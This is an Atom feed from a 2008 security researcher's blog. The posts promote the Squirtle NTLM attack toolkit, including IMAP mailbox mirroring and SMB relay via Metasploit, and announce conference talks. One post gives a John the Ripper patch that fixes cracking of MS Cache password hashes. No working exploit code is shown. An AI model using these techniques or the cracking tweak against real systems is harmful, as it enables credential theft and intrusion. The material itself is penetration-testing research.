<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/atom10full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-28687371</id><updated>2008-12-04T13:41:53.868-08:00</updated><title type="text">Superimposing Nothing Nowhere</title><subtitle type="html">The internet is littered with wastes of space. This one is no different except that it is my waste of space.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://grutztopia.jingojango.net/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/grutztopia" type="application/atom+xml" /><entry><id>tag:blogger.com,1999:blog-28687371.post-4147949542924419761</id><published>2008-11-15T13:42:00.000-08:00</published><updated>2008-11-15T13:57:30.311-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-11-15T13:57:30.311-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="squirtle" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title type="text">Squirtle and MS08-068</title><content type="html">HD Moore already did some &lt;a href="http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html"&gt;great analysis&lt;/a&gt; on how the MS08-068 patch affected the SMB Relay attacks within Metasploit. The answer?&lt;br /&gt;&lt;br /&gt;You can't attack the source workstation/server if MS08-068 has been applied.&lt;br /&gt;&lt;br /&gt;This ONLY affects Squirtle if your evil agent attempts to communicate back to the victim. It should not impact attacking their IMAP, HTTP or File/Print servers.&lt;br /&gt;&lt;br /&gt;As always the goal of Squirtle is to permit others to extend their own tools to permit the use of authentication requests from controlled browsers and at your own time or when the right users click on your evil link!&lt;br /&gt;&lt;br /&gt;Have fun with the latest updates and thanks to Natron for pointing me towards HD's analysis.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/4147949542924419761/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=4147949542924419761" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/4147949542924419761?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/4147949542924419761?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/454312957/squirtle-and-ms08-068.html" title="Squirtle and MS08-068" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/11/squirtle-and-ms08-068.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-3274538552398276575</id><published>2008-11-14T09:38:00.001-08:00</published><updated>2008-11-14T10:11:42.324-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-11-14T10:11:42.324-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="squirtle" /><category scheme="http://www.blogger.com/atom/ns#" term="pass the dutchie" /><category scheme="http://www.blogger.com/atom/ns#" term="deepsec" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="pass the hash" /><title type="text">Squirtle Updates: IMAP, Metasploit integration complete</title><content type="html">I just gave a talk to everyone here at &lt;a href="https://www.deepsec.net/"&gt;DeepSec 08&lt;/a&gt;. Other than the weather being a bit cold and wet Vienna is awesome. Everyone seems happy to be at this conference and to share and network with each other. It's always fun giving the Squirtle talk to new audiences and see their eyes light up as they start to get why this attack matters to their environments or how they could use it on a client's penetration test.&lt;br /&gt;&lt;br /&gt;With the conclusion of this talk I'm happy to announce that two new evil agent updates have been completed!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IMAP Mirroring! Download a victim's entire IMAP directory! Use social engineering, have the help desk e-mail them a new password!&lt;br /&gt;&lt;li&gt;Metasploit integration! SMB Relay an enterprise's server farm with Squirtle!&lt;br /&gt;&lt;/ul&gt;Get the latest updates from the Squirtle SVN at &lt;a href="http://squirtle.googlecode.com/"&gt;http://squirtle.googlecode.com/&lt;/a&gt;. The MSF update is a patch against the as-of-writing-this MSF 3.2-current SVN code. If things change I'll try to keep it updated. Not sure if this is "MSF-code worthy" as it uses the JSON ruby gem vs processing the result manually. I had the library installed, didn't want to write my own parser. :P&lt;br /&gt;&lt;br /&gt;On Nov 11th MSRC &lt;a href="http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx"&gt;posted&lt;/a&gt; some information on MS08-068 implementing some changes to the NTLM protocol to neuter the SMB Relay attack and possibly (but not mentioned) Squirtle as well. I haven't had a chance to play with yet  as I didn't want to possibly spoil the live demos so close to DeepSec. It's nearly time to spend the evening at &lt;a href="http://www.metalab.at/"&gt;Metalab&lt;/a&gt; so more information as it develops (I promise!)&lt;br /&gt;&lt;br /&gt;Big thanks to everyone here at DeepSec for coordinating this one-of-kind conference. Vienna is such a beautiful place to visit, I only wish it would be earlier in the season when it's not so cold and dreary outside. I hope to come next year for DeepSec 09!&lt;br /&gt;&lt;br /&gt;Also, look for my ugly mug to make an appearance on &lt;a href="http://www.net-security.org/"&gt;Help Net Security&lt;/a&gt; soon. It's a brief plea on using Squirtle and hopefully my excitement over reaching more people isn't too transparent. :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/3274538552398276575/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=3274538552398276575" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3274538552398276575?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3274538552398276575?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/453214602/squirtle-updates-imap-metasploit.html" title="Squirtle Updates: IMAP, Metasploit integration complete" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/11/squirtle-updates-imap-metasploit.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-2720075285696038954</id><published>2008-09-02T15:24:00.000-07:00</published><updated>2008-09-02T15:40:02.922-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-09-02T15:40:02.922-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="deepsec" /><category scheme="http://www.blogger.com/atom/ns#" term="toorcon" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">Upcoming Speaking Gigs</title><content type="html">Tying a neat little bow to my NTLM/HTTP research I'll be presenting "One XSS to Rule The Enterprise" at &lt;a href="http://sandiego.toorcon.org/"&gt;ToorCon X&lt;/a&gt; the end of September and "NTLM SSO Weaknesses" at &lt;a href="https://deepsec.net/"&gt;DeepSec&lt;/a&gt; in November. Both talks will show off the &lt;a href="http://code.google.com/p/squirtle"&gt;Squirtle Attack Toolkit&lt;/a&gt;. Hopefully I'll have some of the updates I didn't get into the DefCon release ready by ToorCon!&lt;br /&gt;&lt;br /&gt;When friends ask "should I go to Defcon?" I always respond "Hey, check out ToorCon. It's in a nicer climate!" Vegas in July? Pfft, San Diego in September! One of the best conventions out there, period. Just check out the &lt;a href="http://sandiego.toorcon.org/content/section/3/9/"&gt;conference lineup&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/2720075285696038954/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=2720075285696038954" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2720075285696038954?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2720075285696038954?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/381771901/upcoming-speaking-gigs.html" title="Upcoming Speaking Gigs" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/09/upcoming-speaking-gigs.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-374626663089056442</id><published>2008-08-12T15:51:00.000-07:00</published><updated>2008-08-12T16:09:41.653-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-08-12T16:09:41.653-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="squirtle" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><title type="text">Passing The Dutchie @ Defcon 16</title><content type="html">Like many things with this blog, I don't prioritize it above things like hanging out with my girlfriend, going to work, sleeping, breaking my iPhone, losing all my Defcon pictures, etc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://grutz.jingojango.net/images/That_evil_Squirtle.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://grutz.jingojango.net/images/That_evil_Squirtle.png" border="0" alt="" /&gt;&lt;/a&gt;Last weekend was Defcon 16. I had a really great time speaking to a packed house on the death of NTLM. &lt;a href="http://grutz.jingojango.net/presentations/NTLM%20is%20Dead%20-%20DefCon%2016.pdf"&gt;Slides&lt;/a&gt;, &lt;a href="http://grutz.jingojango.net/presentations/NTLM%20is%20Dead%20-%20DefCon%2016.mov"&gt;slide video&lt;/a&gt; and &lt;a href="http://code.google.com/p/squirtle"&gt;source code to Squirtle&lt;/a&gt; are now available for your pleasure. I'll be doing some more work and documentation on Squirtle shortly.&lt;br /&gt;&lt;br /&gt;A few quick changes were made to the slide deck from what was presented (and the slides on the CD are waaaaaay something different :). Mostly added NTLM Signing as a mitigation and correctly stating that JoMoKun did the Samba Pass-The-Hash modifications. Sorry!&lt;br /&gt;&lt;br /&gt;More updates coming.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/374626663089056442/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=374626663089056442" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/374626663089056442?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/374626663089056442?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/363355641/passing-dutchie-defcon-16.html" title="Passing The Dutchie @ Defcon 16" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/08/passing-dutchie-defcon-16.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7620648569186463381</id><published>2008-08-07T08:08:00.000-07:00</published><updated>2008-08-07T08:17:31.997-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-08-07T08:17:31.997-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><title type="text">NTLM is Dead: Defcon 16</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EOfriOpdNHM/SJsRbyaapII/AAAAAAAAAFU/T40Acf3ijHM/s1600-h/NTLM_title.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_EOfriOpdNHM/SJsRbyaapII/AAAAAAAAAFU/T40Acf3ijHM/s400/NTLM_title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5231794561207673986" /&gt;&lt;/a&gt;&lt;br /&gt;Friday, August 8th @ 2pm. Come learn how to own an enterprise with one XSS!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://grutz.jingojango.net/exploits/squirtle/"&gt;Slides&lt;/a&gt; and other material will be on-line after Defcon. Source code available &lt;a href="http://code.google.com/p/squirtle/"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7620648569186463381/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7620648569186463381" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7620648569186463381?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7620648569186463381?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/358496039/ntlm-is-dead-defcon-16.html" title="NTLM is Dead: Defcon 16" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_EOfriOpdNHM/SJsRbyaapII/AAAAAAAAAFU/T40Acf3ijHM/s72-c/NTLM_title.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/08/ntlm-is-dead-defcon-16.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-869423319876200194</id><published>2008-07-30T20:02:00.000-07:00</published><updated>2008-07-30T21:04:44.758-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-07-30T21:04:44.758-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pass the dutchie" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">Attacking NTLM</title><content type="html">Defcon presentation times have been confirmed for a few weeks now and I've been slaving away at my slides and source code for a while now. I gave a pre-talk at work the other day and have decided to redo a lot of the slides. That's what you get when you ask for slides 38 days before the presentation. :)&lt;br /&gt;&lt;br /&gt;Of course I'll have the full slides on-line after the conference but if you're coming to Defcon please come to my talk: Friday, August 8th at 2pm.&lt;br /&gt;&lt;br /&gt;What exactly will I be talking about? Well, it's really difficult to describe succinctly but the best way I can say it is: An XSS inside your company == Total Domain Ownage.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://grutz.jingojango.net/images/ntlm2.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://grutz.jingojango.net/images/ntlm2.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Was that a scoff I just heard under your breath? Honestly, I'm not lying here. Because of the way NTLM and Windows Single Sign-On works your run-of-the-mill cross site scripting error on an internal resource can DEVASTATE your enterprise!&lt;br /&gt;&lt;br /&gt;Stay tuned.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/869423319876200194/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=869423319876200194" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/869423319876200194?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/869423319876200194?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/351155463/attacking-ntlm.html" title="Attacking NTLM" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/07/attacking-ntlm.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-5720315894123765949</id><published>2008-06-13T15:44:00.000-07:00</published><updated>2008-06-13T16:52:39.841-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-06-13T16:52:39.841-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cachedump" /><category scheme="http://www.blogger.com/atom/ns#" term="john the ripper" /><category scheme="http://www.blogger.com/atom/ns#" term="ms cache passwords" /><title type="text">MS Cache and John the Ripper</title><content type="html">Chalk this one up to knowledge remembered, forgotten, and then remembered again!&lt;br /&gt;&lt;br /&gt;Lately I have been playing with using our MPI John the Ripper cluster to increase the crack rate of MS Cache passwords. With a very long list of passwords, some of which I knew would be easy to crack, I set out and started the process on 20 nodes. After a few days and ZERO cracks I started to wonder what the hell was going on.&lt;br /&gt;&lt;br /&gt;The answer is one I knew many years ago when &lt;a href="http://www.securiteam.com/tools/5JP0I2KFPA.html"&gt;cachedump&lt;/a&gt; first came on the scene. The MS Cache encryption routine's salt includes the &lt;b&gt;lower case username&lt;/b&gt; as part of the salt! Because some of the cachedump tools take the username out of the registry as-is and don't convert the case you'll run JTR for days with an invalid salt. No cracks for you!&lt;br /&gt;&lt;br /&gt;So we can do a couple of things here:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Remember this next time and manually lowercase the usernames&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tell the authors to modify the tools we use to grab the cache hashes&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Patch the tools ourselves (if we have the sources) and give them to the author&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Modify the cracking program to always lowercase the usernames&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;John The Ripper's source code is really easy to fix and the quickest to do so a simple diff against mscash_fmt.c:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--- mscash_fmt.c        2008-06-13 15:56:07.000000000 -0700&lt;br /&gt;+++ mscash_fmt-lower.c  2008-06-13 15:55:49.000000000 -0700&lt;br /&gt;@@ -16,6 +16,7 @@&lt;br /&gt;  */&lt;br /&gt; &lt;br /&gt; #include &lt;string.h&gt;&lt;br /&gt;+#include &lt;ctype.h&gt;&lt;br /&gt; &lt;br /&gt; #include "arch.h"&lt;br /&gt; #include "misc.h"&lt;br /&gt;@@ -158,6 +159,9 @@&lt;br /&gt; &lt;br /&gt;        l = strlen(ciphertext);&lt;br /&gt;        strncpy(out, ciphertext + 2, l - PLAINTEXT_LENGTH + 1);&lt;br /&gt;+        for(l=0; l &lt; strlen(out); l++) {&lt;br /&gt;+               out[l] = tolower(out[l]);&lt;br /&gt;+       }&lt;br /&gt;        return out;&lt;br /&gt; }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And now I don't have to remember this every time! JTR will remember for me and with a cluster of 20 nodes all running around 600,000 cracks a second maybe SOMETHING will crack. :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/5720315894123765949/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=5720315894123765949" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/5720315894123765949?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/5720315894123765949?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/311469430/ms-cache-and-john-ripper.html" title="MS Cache and John the Ripper" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/06/ms-cache-and-john-ripper.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7917729186027412387</id><published>2008-06-06T00:39:00.000-07:00</published><updated>2008-06-06T01:02:46.696-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-06-06T01:02:46.696-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="syscan" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">NTLM, DefCon and Java!</title><content type="html">John Heasman just &lt;a href="http://heasman.blogspot.com/2008/06/stealing-password-hashes-with-java-and.html"&gt;posted a rocking method&lt;/a&gt; of obtaining NTLM hashes out of an enterprise by turning a Java applet into a web server! Check it out!&lt;br /&gt;&lt;br /&gt;This year I'll be &lt;a href="http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Grutzmacher"&gt;presenting at DefCon&lt;/a&gt; on the history of NTLM attacks, how they work and why we need to get rid of it. I'll release a tool that will combine as many hacks as I can get working to use captured users and their authentication tokens. There's been a lot of talk in the past few years about browser security and it's mostly hinged around using Javascript as a port scanner, sending attacks through the browser, attacking the platforms, etc. Few have been talking about an Enterprise-class risk and since that's what I get paid to think about I'm gonna blow it open. :) Come to DefCon and have a great time!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.syscan.org/"&gt;SyScan&lt;/a&gt; was great, a little small but helpful to bring the confidence up speaking to people who have no clue who I am! I learned quite a bit about my speaking style which helped firm up ideas about the DefCon presentation. I presented a combination of Web Security Mistakes including how to get a &lt;a href="http://grutztopia.jingojango.net/2008/01/another-free-macworld-platinum-pass-yes.html"&gt;free MacWorld pass&lt;/a&gt; and spoke more about the future of &lt;a href="http://grutz.jingojango.net/exploits/pokehashball.html"&gt;PokeHashBall&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;We stayed a few extra days to soak up the culture and soak the sweat into our clothes some more since this was our first trip to Hong Kong. The &lt;a href="http://www.12hk.com/area/Mongkok/MongkokComputerCentre.shtml"&gt;MongKok Computer Center&lt;/a&gt; was interesting but didn't seem to really have the deals I was expecting. I didn't get to any of the other computer centers however. Maybe next trip!&lt;br /&gt;&lt;br /&gt;We went through Narita airport on the way back so I stopped at Duty Free and bought a bottle of Suntory Whiskey, the kind Bill Murray is hawking in the movie "Lost In Translation". For relaxing times, make it Santory time. . .&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/RdZt4BMfY3Q&amp;hl=en"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/RdZt4BMfY3Q&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;They have some of the greatest commercials.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/YotCl8xcRtk&amp;hl=en"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/YotCl8xcRtk&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7917729186027412387/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7917729186027412387" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7917729186027412387?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7917729186027412387?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/305928026/ntlm-defcon-and-java.html" title="NTLM, DefCon and Java!" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/06/ntlm-defcon-and-java.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-5232882145667903492</id><published>2008-05-26T16:14:00.000-07:00</published><updated>2008-05-26T16:24:48.401-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-05-26T16:24:48.401-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="syscan" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">Heading to SyScan Hong Kong</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.jaunted.com/files/admin/Hong_Kong_Golden_Toilet.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.jaunted.com/files/admin/Hong_Kong_Golden_Toilet.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've been given the opportunity to talk about Web Security at this year's &lt;a href="http://www.syscan.org/"&gt;SyScan conference&lt;/a&gt; in Hong Kong. This is my first trip to Asia so I'm really really excited about it! I haven't traveled much outside of North America -- the trip to Chaos Camp was my first oceanic flight. The Pacific Ocean is so huge that our flight from SFO will total 17 hours! It was only 9 hours to Dusseldorf!&lt;br /&gt;&lt;br /&gt;This talk will expand on my OWASP talk on trusting the client and the &lt;a 